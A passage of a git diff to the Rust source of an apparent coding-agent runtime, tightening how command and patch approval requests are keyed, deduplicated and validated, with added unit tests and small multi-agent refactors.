push_prompt_fragment( } } +fn accepted_command_approval_decisions( + mut available_decisions: Vec, + proposed_network_policy_amendments: Option<&[NetworkPolicyAmendment]>, +) -> Vec { + // Preserve the existing API path for a client to persist a restrictive + // network deny without advertising that hidden choice in normal UX. + // Only the exact server-proposed deny payload is accepted. + available_decisions.extend( + proposed_network_policy_amendments + .into_iter() + .flatten() + .filter(|amendment| amendment.action == NetworkPolicyRuleAction::Deny) + .cloned() + .map( + |network_policy_amendment| ReviewDecision::NetworkPolicyAmendment { + network_policy_amendment, + }, + ), + ); + available_decisions +} + impl Session { pub(crate) async fn app_server_client_metadata(&self) -> AppServerClientMetadata { let state = self.state.lock().await; @@ -1867,10 +1891,12 @@ impl Session { message, /*trigger_turn*/ false, ); + let context = + AgentCommunicationContext::new(AgentCommunicationKind::Result, self.thread_id); if let Err(err) = self .services .agent_control - .send_inter_agent_communication(parent_thread_id, communication) + .send_inter_agent_communication(parent_thread_id, communication, context) .await { debug!("failed to notify parent thread {parent_thread_id}: {err}"); @@ -2104,13 +2130,16 @@ impl Session { /// Emit an exec approval request event and await the user's decision. /// - /// The request is keyed by `call_id` + `approval_id` so matching responses - /// are delivered to the correct in-flight turn. If the pending approval is - /// cleared before a response arrives, treat it as an abort so interrupted - /// turns do not continue on a synthetic denial. + /// `call_id` is the stable command-item identity. A callback-specific + /// `approval_id`, when present, is the response-routing identity; otherwise + /// `call_id` is used for both. Each callback-specific ID must be unique so a + /// delayed or replayed response cannot resolve a later prompt for the same + /// item. If the pending approval is cleared before a response arrives, + /// treat it as an abort so interrupted turns do not continue on a synthetic + /// denial. /// - /// Note that if `available_decisions` is `None`, then the other fields will - /// be used to derive the available decisions via + /// If `available_decisions` is `None`, callback-scoped requests use the + /// one-shot approve/abort set; other requests derive their decisions via /// [ExecApprovalRequestEvent::default_available_decisions]. #[allow(clippy::too_many_arguments)] #[expect( @@ -2122,6 +2151,7 @@ impl Session { turn_context: &TurnContext, call_id: String, approval_id: Option, + approval_purpose: Option, environment_id: Option, command: Vec, cwd: AbsolutePathBuf, @@ -2131,26 +2161,10 @@ impl Session { additional_permissions: Option, available_decisions: Option>, ) -> ReviewDecision { - // command-level approvals use `call_id`. - // `approval_id` is only present for subcommand callbacks (execve intercept) + // Cacheable single-prompt approvals use `call_id`. Callback-scoped + // approvals carry a fresh opaque ID for response routing while + // `call_id` remains the stable command-item identity. let effective_approval_id = approval_id.clone().unwrap_or_else(|| call_id.clone()); - // Add the tx_approve callback to the map before sending the request. - let (tx_approve, rx_approve) = oneshot::channel(); - let prev_entry = { - let mut active = self.active_turn.lock().await; - match active.as_mut() { - Some(at) => { - let mut ts = at.turn_state.lock().await; - ts.insert_pending_approval(effective_approval_id.clone(), tx_approve) - } - None => None, - } - }; - if prev_entry.is_some() { - warn!("Overwriting existing pending approval for call_id: {effective_approval_id}"); - } - - let parsed_cmd = parse_command(&command); let proposed_network_policy_amendments = network_approval_context.as_ref().map(|context| { vec![ NetworkPolicyAmendment { @@ -2164,16 +2178,52 @@ impl Session { ] }); let available_decisions = available_decisions.unwrap_or_else(|| { - ExecApprovalRequestEvent::default_available_decisions( - network_approval_context.as_ref(), - proposed_execpolicy_amendment.as_ref(), - proposed_network_policy_amendments.as_deref(), - additional_permissions.as_ref(), - ) + if ExecApprovalRequestEvent::is_callback_scoped( + approval_id.as_deref(), + approval_purpose, + ) { + vec![ReviewDecision::Approved, ReviewDecision::Abort] + } else { + ExecApprovalRequestEvent::default_available_decisions( + network_approval_context.as_ref(), + proposed_execpolicy_amendment.as_ref(), + proposed_network_policy_amendments.as_deref(), + additional_permissions.as_ref(), + ) + } }); + let accepted_decisions = accepted_command_approval_decisions( + available_decisions.clone(), + proposed_network_policy_amendments.as_deref(), + ); + // Add the tx_approve callback to the map before sending the request. + let (tx_approve, rx_approve) = oneshot::channel(); + let insert_result = { + let mut active = self.active_turn.lock().await; + match active.as_mut() { + Some(at) => { + let mut ts = at.turn_state.lock().await; + ts.insert_pending_approval( + effective_approval_id.clone(), + tx_approve, + crate::state::PendingApprovalKind::Exec, + accepted_decisions, + ) + } + None => return ReviewDecision::Abort, + } + }; + if let Err(duplicate_approval) = insert_result { + warn!("Rejecting duplicate pending exec approval for call_id: {effective_approval_id}"); + duplicate_approval.send(ReviewDecision::Abort); + return rx_approve.await.unwrap_or(ReviewDecision::Abort); + } + + let parsed_cmd = parse_command(&command); let event = EventMsg::ExecApprovalRequest(ExecApprovalRequestEvent { call_id, approval_id, + approval_purpose, turn_id: turn_context.sub_id.clone(), environment_id, started_at_ms: now_unix_timestamp_ms(), @@ -2206,18 +2256,28 @@ impl Session { // Add the tx_approve callback to the map before sending the request. let (tx_approve, rx_approve) = oneshot::channel(); let approval_id = call_id.clone(); - let prev_entry = { + let insert_result = { let mut active = self.active_turn.lock().await; match active.as_mut() { Some(at) => { let mut ts = at.turn_state.lock().await; - ts.insert_pending_approval(approval_id.clone(), tx_approve) + ts.insert_pending_approval( + approval_id.clone(), + tx_approve, + crate::state::PendingApprovalKind::Patch, + vec![ReviewDecision::Approved, ReviewDecision::ApprovedForSession], + ) + } + None => { + tx_approve.send(ReviewDecision::Abort).ok(); + return rx_approve; } - None => None, } }; - if prev_entry.is_some() { - warn!("Overwriting existing pending approval for call_id: {approval_id}"); + if let Err(duplicate_approval) = insert_result { + warn!("Rejecting duplicate pending patch approval for call_id: {approval_id}"); + duplicate_approval.send(ReviewDecision::Abort); + return rx_approve; } let event = EventMsg::ApplyPatchApprovalRequest(ApplyPatchApprovalRequestEvent { @@ -2688,23 +2748,59 @@ impl Session { clippy::await_holding_invalid_type, reason = "active turn checks and turn state updates must remain atomic" )] - pub async fn notify_approval(&self, approval_id: &str, decision: ReviewDecision) { - let entry = { + async fn take_pending_approval( + &self, + approval_id: &str, + kind: crate::state::PendingApprovalKind, + ) -> Option { + { let mut active = self.active_turn.lock().await; match active.as_mut() { Some(at) => { let mut ts = at.turn_state.lock().await; - ts.remove_pending_approval(approval_id) + ts.remove_pending_approval(approval_id, kind) } None => None, } - }; + } + } + + pub(crate) async fn take_pending_exec_approval( + &self, + approval_id: &str, + ) -> Option { + self.take_pending_approval(approval_id, crate::state::PendingApprovalKind::Exec) + .await + } + + pub(crate) async fn take_pending_patch_approval( + &self, + approval_id: &str, + ) -> Option { + self.take_pending_approval(approval_id, crate::state::PendingApprovalKind::Patch) + .await + } + + pub async fn notify_exec_approval(&self, approval_id: &str, decision: ReviewDecision) { + let entry = self.take_pending_exec_approval(approval_id).await; match entry { - Some(tx_approve) => { - tx_approve.send(decision).ok(); + Some(pending_approval) => { + pending_approval.send(decision); } None => { - warn!("No pending approval found for call_id: {approval_id}"); + warn!("No pending exec approval found for call_id: {approval_id}"); + } + } + } + + pub async fn notify_patch_approval(&self, approval_id: &str, decision: ReviewDecision) { + let entry = self.take_pending_patch_approval(approval_id).await; + match entry { + Some(pending_approval) => { + pending_approval.send(decision); + } + None => { + warn!("No pending patch approval found for call_id: {approval_id}"); } } } @@ -3426,16 +3522,10 @@ impl Session { { items.push(usage_hint_message); } - match multi_agents::effective_multi_agent_mode(turn_context) { - Some( - multi_agent_mode - @ (MultiAgentMode::ExplicitRequestOnly | MultiAgentMode::Proactive), - ) => { - items.push(ContextualUserFragment::into( - MultiAgentModeInstructions::new(multi_agent_mode), - )); - } - Some(MultiAgentMode::None) | None => {} + if let Some(multi_agent_mode) = multi_agents::effective_multi_agent_mode(turn_context) { + items.push(ContextualUserFragment::into( + MultiAgentModeInstructions::new(multi_agent_mode), + )); } if let Some(contextual_user_message) = crate::context_manager::updates::build_contextual_user_message(contextual_user_sections) diff --git a/codex-rs/core/src/session/multi_agents.rs b/codex-rs/core/src/session/multi_agents.rs index 385f2281ba..c2f139e68b 100644 --- a/codex-rs/core/src/session/multi_agents.rs +++ b/codex-rs/core/src/session/multi_agents.rs @@ -41,9 +41,18 @@ pub(crate) fn effective_multi_agent_mode(turn_context: &TurnContext) -> Option MultiAgentMode::Proactive, - _ => MultiAgentMode::ExplicitRequestOnly, + // A configured hint, including an empty string, defines a custom policy instead of an + // effort-derived built-in policy. + let multi_agent_mode = match &turn_context + .config + .multi_agent_v2 + .multi_agent_mode_hint_text + { + Some(hint_text) => MultiAgentMode::Custom(hint_text.clone()), + None => match turn_context.effective_reasoning_effort() { + Some(ReasoningEffort::Ultra) => MultiAgentMode::Proactive, + _ => MultiAgentMode::ExplicitRequestOnly, + }, }; match &turn_context.session_source { diff --git a/codex-rs/core/src/session/tests.rs b/codex-rs/core/src/session/tests.rs index 4bbbd06829..ce12808b36 100644 --- a/codex-rs/core/src/session/tests.rs +++ b/codex-rs/core/src/session/tests.rs @@ -755,6 +755,330 @@ fn validated_network_policy_amendment_host_rejects_mismatch() { assert!(message.contains("does not match approved host")); } +#[test] +fn accepted_command_decisions_add_only_exact_proposed_network_denials() { + let offered_allow = NetworkPolicyAmendment { + host: "example.com".to_string(), + action: NetworkPolicyRuleAction::Allow, + }; + let proposed_deny = NetworkPolicyAmendment { + host: "example.com".to_string(), + action: NetworkPolicyRuleAction::Deny, + }; + let available = vec![ + ReviewDecision::Approved, + ReviewDecision::NetworkPolicyAmendment { + network_policy_amendment: offered_allow.clone(), + }, + ReviewDecision::Abort, + ]; + + let accepted = accepted_command_approval_decisions( + available.clone(), + Some(&[offered_allow, proposed_deny.clone()]), + ); + + assert_eq!(&accepted[..available.len()], available.as_slice()); + assert_eq!( + accepted.last(), + Some(&ReviewDecision::NetworkPolicyAmendment { + network_policy_amendment: proposed_deny, + }) + ); + assert!(!accepted.contains(&ReviewDecision::NetworkPolicyAmendment { + network_policy_amendment: NetworkPolicyAmendment { + host: "other.example.com".to_string(), + action: NetworkPolicyRuleAction::Deny, + }, + })); +} + +#[tokio::test] +async fn callback_without_explicit_decisions_is_one_shot() { + let (session, turn_context, rx_events) = make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + let request = tokio::spawn({ + let session = Arc::clone(&session); + let turn_context = Arc::clone(&turn_context); + async move { + session + .request_command_approval( + turn_context.as_ref(), + "command-item".to_string(), + Some("callback".to_string()), + /*approval_purpose*/ None, + /*environment_id*/ None, + vec!["echo".to_string(), "hi".to_string()], + test_path_buf("/tmp").abs(), + /*reason*/ None, + /*network_approval_context*/ None, + /*proposed_execpolicy_amendment*/ None, + /*additional_permissions*/ None, + /*available_decisions*/ None, + ) + .await + } + }); + let event = tokio::time::timeout(std::time::Duration::from_secs(1), rx_events.recv()) + .await + .expect("approval event timed out") + .expect("approval event missing"); + let EventMsg::ExecApprovalRequest(event) = event.msg else { + panic!("expected exec approval event"); + }; + assert_eq!( + event.available_decisions, + Some(vec![ReviewDecision::Approved, ReviewDecision::Abort]) + ); + session + .notify_exec_approval("callback", ReviewDecision::Abort) + .await; + assert_eq!( + request.await.expect("approval request task"), + ReviewDecision::Abort + ); + + let explicit_request = tokio::spawn({ + let session = Arc::clone(&session); + let turn_context = Arc::clone(&turn_context); + async move { + session + .request_command_approval( + turn_context.as_ref(), + "command-item".to_string(), + Some("explicit-callback".to_string()), + /*approval_purpose*/ None, + /*environment_id*/ None, + vec!["echo".to_string(), "hi".to_string()], + test_path_buf("/tmp").abs(), + /*reason*/ None, + /*network_approval_context*/ None, + /*proposed_execpolicy_amendment*/ None, + /*additional_permissions*/ None, + Some(vec![ReviewDecision::ApprovedForSession]), + ) + .await + } + }); + let event = tokio::time::timeout(std::time::Duration::from_secs(1), rx_events.recv()) + .await + .expect("explicit approval event timed out") + .expect("explicit approval event missing"); + let EventMsg::ExecApprovalRequest(event) = event.msg else { + panic!("expected exec approval event"); + }; + assert_eq!( + event.available_decisions, + Some(vec![ReviewDecision::ApprovedForSession]) + ); + session + .notify_exec_approval("explicit-callback", ReviewDecision::ApprovedForSession) + .await; + assert_eq!( + explicit_request.await.expect("explicit approval task"), + ReviewDecision::ApprovedForSession + ); +} + +#[tokio::test] +async fn default_command_decisions_respect_explicit_callback_purpose() { + use codex_protocol::protocol::ExecApprovalPurpose as Purpose; + let (session, turn_context, rx_events) = make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + + for (index, approval_id, purpose, expected) in [ + ( + 0, + None, + Purpose::Initial, + vec![ + ReviewDecision::Approved, + ReviewDecision::ApprovedForSession, + ReviewDecision::Abort, + ], + ), + ( + 1, + Some("callback-initial"), + Purpose::Initial, + vec![ReviewDecision::Approved, ReviewDecision::Abort], + ), + ( + 2, + None, + Purpose::Execve, + vec![ReviewDecision::Approved, ReviewDecision::Abort], + ), + ( + 3, + None, + Purpose::SandboxRetry, + vec![ReviewDecision::Approved, ReviewDecision::Abort], + ), + ] { + let call_id = format!("purpose-{index}"); + let response_id = approval_id + .map(str::to_string) + .unwrap_or_else(|| call_id.clone()); + let request = tokio::spawn({ + let session = Arc::clone(&session); + let turn_context = Arc::clone(&turn_context); + let call_id = call_id.clone(); + async move { + session + .request_command_approval( + turn_context.as_ref(), + call_id, + approval_id.map(str::to_string), + Some(purpose), + /*environment_id*/ None, + vec!["true".to_string()], + test_path_buf("/tmp").abs(), + /*reason*/ None, + /*network_approval_context*/ None, + /*proposed_execpolicy_amendment*/ None, + /*additional_permissions*/ None, + /*available_decisions*/ None, + ) + .await + } + }); + let event = rx_events.recv().await.expect("exec approval event"); + let EventMsg::ExecApprovalRequest(event) = event.msg else { + panic!("expected exec approval request"); + }; + assert_eq!(event.available_decisions, Some(expected)); + session + .notify_exec_approval(&response_id, ReviewDecision::Approved) + .await; + assert_eq!( + request.await.expect("approval task"), + ReviewDecision::Approved + ); + } +} + +#[derive(Clone, Copy, Debug)] +enum DuplicateApprovalRequestKind { + Exec, + Patch, +} + +#[tokio::test] +async fn duplicate_same_kind_approval_request_aborts_without_replacing_or_emitting() { + for kind in [ + DuplicateApprovalRequestKind::Exec, + DuplicateApprovalRequestKind::Patch, + ] { + let (session, turn_context, rx_events) = make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + let approval_id = format!("duplicate-{kind:?}"); + + match kind { + DuplicateApprovalRequestKind::Exec => { + let initial_request = tokio::spawn({ + let session = Arc::clone(&session); + let turn_context = Arc::clone(&turn_context); + let approval_id = approval_id.clone(); + async move { + session + .request_command_approval( + turn_context.as_ref(), + approval_id, + /*approval_id*/ None, + Some(codex_protocol::protocol::ExecApprovalPurpose::Initial), + /*environment_id*/ None, + vec!["first".to_string()], + test_path_buf("/tmp").abs(), + /*reason*/ None, + /*network_approval_context*/ None, + /*proposed_execpolicy_amendment*/ None, + /*additional_permissions*/ None, + Some(vec![ReviewDecision::Approved, ReviewDecision::Abort]), + ) + .await + } + }); + let first_event = + tokio::time::timeout(std::time::Duration::from_secs(1), rx_events.recv()) + .await + .expect("initial exec approval event timed out") + .expect("initial exec approval event missing"); + assert!(matches!( + first_event.msg, + EventMsg::ExecApprovalRequest(request) + if request.effective_approval_id() == approval_id + )); + + let duplicate_decision = session + .request_command_approval( + turn_context.as_ref(), + approval_id.clone(), + /*approval_id*/ None, + Some(codex_protocol::protocol::ExecApprovalPurpose::Initial), + /*environment_id*/ None, + vec!["second".to_string()], + test_path_buf("/tmp").abs(), + /*reason*/ None, + /*network_approval_context*/ None, + /*proposed_execpolicy_amendment*/ None, + /*additional_permissions*/ None, + Some(vec![ReviewDecision::Approved, ReviewDecision::Abort]), + ) + .await; + assert_eq!(duplicate_decision, ReviewDecision::Abort); + assert!(rx_events.try_recv().is_err()); + + session + .notify_exec_approval(&approval_id, ReviewDecision::Approved) + .await; + assert_eq!( + initial_request.await.expect("initial exec request task"), + ReviewDecision::Approved + ); + } + DuplicateApprovalRequestKind::Patch => { + let initial_rx = session + .request_patch_approval( + turn_context.as_ref(), + approval_id.clone(), + HashMap::new(), + /*reason*/ None, + /*grant_root*/ None, + ) + .await; + let first_event = + tokio::time::timeout(std::time::Duration::from_secs(1), rx_events.recv()) + .await + .expect("initial patch approval event timed out") + .expect("initial patch approval event missing"); + assert!(matches!( + first_event.msg, + EventMsg::ApplyPatchApprovalRequest(request) + if request.call_id == approval_id + )); + + let duplicate_rx = session + .request_patch_approval( + turn_context.as_ref(), + approval_id.clone(), + HashMap::new(), + /*reason*/ None, + /*grant_root*/ None, + ) + .await; + assert_eq!(duplicate_rx.await, Ok(ReviewDecision::Abort)); + assert!(rx_events.try_recv().is_err()); + + session + .notify_patch_approval(&approval_id, ReviewDecision::Approved) + .await; + assert_eq!(initial_rx.await, Ok(ReviewDecision::Approved)); + } + } + } +} + #[tokio::test] async fn start_managed_network_proxy_applies_execpolicy_network_rules() -> anyhow::Result<()> { let permission_profile = PermissionProfile::workspace_write(); @@ -10781,7 +11105,6 @@ async fn rejects_escalated_permissions_when_policy_not_on_request() { windows_sandbox_level: turn_context.windows_sandbox_level, sandbox_permissions: SandboxPermissions::UseDefault, prefix_rule: None, - input_source: crate::exec_policy::ExecPolicyInputSource::Configured, }) .await; assert!(matches!( diff --git a/codex-rs/core/src/state/mod.rs b/codex-rs/core/src/state/mod.rs index 20ff78b54f..0375693da9 100644 --- a/codex-rs/core/src/state/mod.rs +++ b/codex-rs/core/src/state/mod.rs @@ -11,6 +11,8 @@ pub(crate) use service::SessionServices; pub(crate) use session::SessionState; pub(crate) use turn::ActiveTurn; pub(crate) use turn::MailboxDeliveryPhase; +pub(crate) use turn::PendingApproval; +pub(crate) use turn::PendingApprovalKind; pub(crate) use turn::PendingRequestPermissions; pub(crate) use turn::RunningTask; pub(crate) use turn::TaskKind; diff --git a/codex-rs/core/src/state/turn.rs b/codex-rs/core/src/state/turn.rs index d1e31b7994..c6b23880b1 100644 --- a/codex-rs/core/src/state/turn.rs +++ b/codex-rs/core/src/state/turn.rs @@ -1,6 +1,7 @@ //! Turn-scoped state and active turn metadata scaffolding. use std::collections::HashMap; +use std::collections::hash_map::Entry; use std::sync::Arc; use tokio::sync::Mutex; use tokio::sync::Notify; @@ -85,7 +86,7 @@ pub(crate) struct RunningTask { /// Mutable state for a single turn. #[derive(Default)] pub(crate) struct TurnState { - pending_approvals: HashMap>, + pending_approvals: HashMap<(PendingApprovalKind, String), PendingApproval>, pending_request_permissions: HashMap, pending_user_input: HashMap>, pending_elicitations: HashMap<(String, RequestId), oneshot::Sender>, @@ -99,6 +100,33 @@ pub(crate) struct TurnState { pub(crate) token_usage_at_turn_start: TokenUsage, } +pub(crate) struct PendingApproval { + tx_approve: oneshot::Sender, + accepted_decisions: Vec, +} + +#[derive(Clone, Copy, Debug, Eq, Hash, PartialEq)] +pub(crate) enum PendingApprovalKind { + Exec, + Patch, +} + +impl PendingApproval { + pub(crate) fn accepts(&self, decision: &ReviewDecision) -> bool { + matches!( + decision, + ReviewDecision::Denied | ReviewDecision::TimedOut | ReviewDecision::Abort + ) || self + .accepted_decisions + .iter() + .any(|available| available == decision) + } + + pub(crate) fn send(self, decision: ReviewDecision) { + self.tx_approve.send(decision).ok(); + } +} + pub(crate) struct PendingRequestPermissions { pub(crate) tx_response: oneshot::Sender, pub(crate) requested_permissions: RequestPermissionProfile, @@ -110,15 +138,28 @@ impl TurnState { &mut self, key: String, tx: oneshot::Sender, - ) -> Option> { - self.pending_approvals.insert(key, tx) + kind: PendingApprovalKind, + accepted_decisions: Vec, + ) -> Result<(), PendingApproval> { + let pending_approval = PendingApproval { + tx_approve: tx, + accepted_decisions, + }; + match self.pending_approvals.entry((kind, key)) { + Entry::Vacant(entry) => { + entry.insert(pending_approval); + Ok(()) + } + Entry::Occupied(_) => Err(pending_approval), + } } pub(crate) fn remove_pending_approval( &mut self, key: &str, - ) -> Option> { - self.pending_approvals.remove(key) + kind: PendingApprovalKind, + ) -> Option { + self.pending_approvals.remove(&(kind, key.to_string())) } pub(crate) fn clear_pending_waiters(&mut self) { @@ -239,3 +280,7 @@ impl TurnState { self.strict_auto_review_enabled } } + +#[cfg(test)] +#[path = "turn_tests.rs"] +mod tests; diff --git a/codex-rs/core/src/state/turn_tests.rs b/codex-rs/core/src/state/turn_tests.rs new file mode 100644 index 0000000000..8353cb256c --- /dev/null +++ b/codex-rs/core/src/state/turn_tests.rs @@ -0,0 +1,178 @@ +use super::*; +use codex_protocol::approvals::ExecPolicyAmendment; + +fn pending_approval(accepted_decisions: Vec) -> PendingApproval { + let (tx_approve, _rx_approve) = oneshot::channel(); + PendingApproval { + tx_approve, + accepted_decisions, + } +} + +#[test] +fn one_shot_pending_approval_rejects_unoffered_persistent_decisions() { + let pending = pending_approval(vec![ReviewDecision::Approved, ReviewDecision::Abort]); + let amendment = ReviewDecision::ApprovedExecpolicyAmendment { + proposed_execpolicy_amendment: ExecPolicyAmendment::new(vec!["echo".to_string()]), + }; + + assert!(pending.accepts(&ReviewDecision::Approved)); + assert!(pending.accepts(&ReviewDecision::Denied)); + assert!(!pending.accepts(&ReviewDecision::ApprovedForSession)); + assert!(!pending.accepts(&amendment)); +} + +#[test] +fn cacheable_pending_approval_keeps_session_decision_compatibility() { + let pending = pending_approval(vec![ + ReviewDecision::Approved, + ReviewDecision::ApprovedForSession, + ReviewDecision::Abort, + ]); + + assert!(pending.accepts(&ReviewDecision::ApprovedForSession)); +} + +#[test] +fn pending_approval_requires_the_exact_offered_amendment() { + let offered = ReviewDecision::ApprovedExecpolicyAmendment { + proposed_execpolicy_amendment: ExecPolicyAmendment::new(vec!["echo".to_string()]), + }; + let substituted = ReviewDecision::ApprovedExecpolicyAmendment { + proposed_execpolicy_amendment: ExecPolicyAmendment::new(vec!["rm".to_string()]), + }; + let pending = pending_approval(vec![ + ReviewDecision::Approved, + offered.clone(), + ReviewDecision::Abort, + ]); + + assert!(pending.accepts(&offered)); + assert!(!pending.accepts(&substituted)); + assert!(!pending.accepts(&ReviewDecision::ApprovedForSession)); +} + +#[test] +fn pending_approvals_with_the_same_id_are_isolated_by_request_kind() { + let (tx_patch, _rx_patch) = oneshot::channel(); + let (tx_exec, _rx_exec) = oneshot::channel(); + let mut turn_state = TurnState::default(); + assert!( + turn_state + .insert_pending_approval( + "approval".to_string(), + tx_patch, + PendingApprovalKind::Patch, + vec![ReviewDecision::Approved], + ) + .is_ok() + ); + assert!( + turn_state + .insert_pending_approval( + "approval".to_string(), + tx_exec, + PendingApprovalKind::Exec, + vec![ReviewDecision::Approved], + ) + .is_ok() + ); + + assert!( + turn_state + .remove_pending_approval("approval", PendingApprovalKind::Exec) + .is_some() + ); + assert!( + turn_state + .remove_pending_approval("approval", PendingApprovalKind::Patch) + .is_some() + ); +} + +#[tokio::test] +async fn duplicate_same_kind_pending_approval_keeps_the_original_waiter() { + for kind in [PendingApprovalKind::Exec, PendingApprovalKind::Patch] { + let mut turn_state = TurnState::default(); + let (initial_tx, initial_rx) = oneshot::channel(); + assert!( + turn_state + .insert_pending_approval( + "call-id".to_string(), + initial_tx, + kind, + vec![ReviewDecision::Approved], + ) + .is_ok() + ); + + let (duplicate_tx, duplicate_rx) = oneshot::channel(); + let Err(duplicate) = turn_state.insert_pending_approval( + "call-id".to_string(), + duplicate_tx, + kind, + vec![ReviewDecision::Approved], + ) else { + panic!("duplicate {kind:?} approval id should be rejected"); + }; + duplicate.send(ReviewDecision::Abort); + assert_eq!(duplicate_rx.await, Ok(ReviewDecision::Abort)); + + turn_state + .remove_pending_approval("call-id", kind) + .expect("original waiter must remain pending") + .send(ReviewDecision::Approved); + assert_eq!(initial_rx.await, Ok(ReviewDecision::Approved)); + } +} + +#[tokio::test] +async fn consumed_approval_id_cannot_resolve_a_distinct_id_waiter() { + for stale_decision in [ + ReviewDecision::Approved, + ReviewDecision::Abort, + ReviewDecision::Denied, + ] { + let mut turn_state = TurnState::default(); + let (initial_tx, initial_rx) = oneshot::channel(); + assert!( + turn_state + .insert_pending_approval( + "call-id".to_string(), + initial_tx, + PendingApprovalKind::Exec, + vec![ReviewDecision::Approved], + ) + .is_ok() + ); + turn_state + .remove_pending_approval("call-id", PendingApprovalKind::Exec) + .expect("initial waiter") + .send(ReviewDecision::Approved); + assert_eq!(initial_rx.await, Ok(ReviewDecision::Approved)); + + let (retry_tx, retry_rx) = oneshot::channel(); + assert!( + turn_state + .insert_pending_approval( + "retry-id".to_string(), + retry_tx, + PendingApprovalKind::Exec, + vec![ReviewDecision::Approved], + ) + .is_ok() + ); + + assert!( + turn_state + .remove_pending_approval("call-id", PendingApprovalKind::Exec) + .is_none(), + "stale {stale_decision:?} must not consume the retry waiter" + ); + turn_state + .remove_pending_approval("retry-id", PendingApprovalKind::Exec) + .expect("retry waiter remains pending") + .send(ReviewDecision::Approved); + assert_eq!(retry_rx.await, Ok(ReviewDecision::Approved)); + } +} diff --git a/codex-rs/core/src/tools/handlers/agent_jobs.rs b/codex-rs/core/src/tools/handlers/agent_jobs.rs index 360744973c..6405414731 100644 --- a/codex-rs/core/src/tools/handlers/agent_jobs.rs +++ b/codex-rs/core/src/tools/handlers/agent_jobs.rs @@ -203,7 +203,7 @@ async fn run_agent_job_loop( .agent_control .spawn_agent_with_metadata( options.spawn_config.clone(), - items.into(), + items, Some(SessionSource::SubAgent(SubAgentSource::Other(format!( "agent_job:{job_id}" )))), diff --git a/codex-rs/core/src/tools/handlers/multi_agents_common.rs b/codex-rs/core/src/tools/handlers/multi_agents_common.rs index 8f91ce5b8e..12ec89d651 100644 --- a/codex-rs/core/src/tools/handlers/multi_agents_common.rs +++ b/codex-rs/core/src/tools/handlers/multi_agents_common.rs @@ -18,7 +18,6 @@ use codex_protocol::openai_models::ReasoningEffort; use codex_protocol::openai_models::ReasoningEffortPreset; use codex_protocol::protocol::CollabAgentRef; use codex_protocol::protocol::CollabAgentStatusEntry; -use codex_protocol::protocol::Op; use codex_protocol::protocol::SessionSource; use codex_protocol::protocol::SubAgentSource; use codex_protocol::user_input::UserInput; @@ -163,7 +162,7 @@ pub(crate) fn thread_spawn_source( pub(crate) fn parse_collab_input( message: Option, items: Option>, -) -> Result { +) -> Result, FunctionCallError> { match (message, items) { (Some(_), Some(_)) => Err(FunctionCallError::RespondToModel( "Provide either message or items, but not both".to_string(), @@ -180,8 +179,7 @@ pub(crate) fn parse_collab_input( Ok(vec![UserInput::Text { text: message, text_elements: Vec::new(), - }] - .into()) + }]) } (None, Some(items)) => { if items.is_empty() { @@ -189,7 +187,7 @@ pub(crate) fn parse_collab_input( "Items can't be empty".to_string(), )); } - Ok(items.into()) + Ok(items) } } } diff --git a/codex-rs/core/src/tools/handlers/multi_agents_tests.rs b/codex-rs/core/src/tools/handlers/multi_agents_tests.rs index 8acb0a8c8d..f313fcf0d9 100644 --- a/codex-rs/core/src/tools/handlers/multi_agents_tests.rs +++ b/codex-rs/core/src/tools/handlers/multi_agents_tests.rs @@ -1377,8 +1377,7 @@ async fn multi_agent_v2_send_message_accepts_root_target_from_child() { vec![UserInput::Text { text: "inspect this repo".to_string(), text_elements: Vec::new(), - }] - .into(), + }], Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn { parent_thread_id: root.thread_id, depth: 1, @@ -1454,8 +1453,7 @@ async fn multi_agent_v2_followup_task_rejects_root_target_from_child() { vec![UserInput::Text { text: "inspect this repo".to_string(), text_elements: Vec::new(), - }] - .into(), + }], Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn { parent_thread_id: root.thread_id, depth: 1, @@ -1626,8 +1624,7 @@ async fn multi_agent_v2_list_agents_filters_by_relative_path_prefix() { vec![UserInput::Text { text: "research".to_string(), text_elements: Vec::new(), - }] - .into(), + }], Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn { parent_thread_id: root.thread_id, depth: 1, @@ -1647,8 +1644,7 @@ async fn multi_agent_v2_list_agents_filters_by_relative_path_prefix() { vec![UserInput::Text { text: "build".to_string(), text_elements: Vec::new(), - }] - .into(), + }], Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn { parent_thread_id: root.thread_id, depth: 2, @@ -4097,8 +4093,7 @@ async fn multi_agent_v2_interrupt_agent_rejects_self_target_by_id() { vec![UserInput::Text { text: "inspect this repo".to_string(), text_elements: Vec::new(), - }] - .into(), + }], Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn { parent_thread_id: root.thread_id, depth: 1, @@ -4165,8 +4160,7 @@ async fn multi_agent_v2_interrupt_agent_rejects_self_target_by_task_name() { vec![UserInput::Text { text: "inspect this repo".to_string(), text_elements: Vec::new(), - }] - .into(), + }], Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn { parent_thread_id: root.thread_id, depth: 1, diff --git a/codex-rs/core/src/tools/handlers/multi_agents_v2.rs b/codex-rs/core/src/tools/handlers/multi_agents_v2.rs index cae3497a13..8e7f73a762 100644 --- a/codex-rs/core/src/tools/handlers/multi_agents_v2.rs +++ b/codex-rs/core/src/tools/handlers/multi_agents_v2.rs @@ -19,7 +19,6 @@ use codex_protocol::protocol::CollabWaitingEndEvent; use codex_protocol::protocol::InterAgentCommunication; use codex_protocol::protocol::SubAgentActivityEvent; use codex_protocol::protocol::SubAgentActivityKind; -use codex_protocol::user_input::UserInput; use codex_tools::ToolName; use serde::Deserialize; use serde::Serialize; diff --git a/codex-rs/core/src/tools/handlers/multi_agents_v2/message_tool.rs b/codex-rs/core/src/tools/handlers/multi_agents_v2/message_tool.rs index 7fdb80e8bc..9501b4355a 100644 --- a/codex-rs/core/src/tools/handlers/multi_agents_v2/message_tool.rs +++ b/codex-rs/core/src/tools/handlers/multi_agents_v2/message_tool.rs @@ -4,6 +4,8 @@ //! resulting `InterAgentCommunication` should wake the target immediately. use super::*; +use crate::agent_communication::AgentCommunicationContext; +use crate::agent_communication::AgentCommunicationKind; use crate::tools::context::FunctionToolOutput; use crate::turn_timing::now_unix_timestamp_ms; use codex_protocol::protocol::InterAgentCommunication; @@ -46,7 +48,7 @@ pub(crate) struct 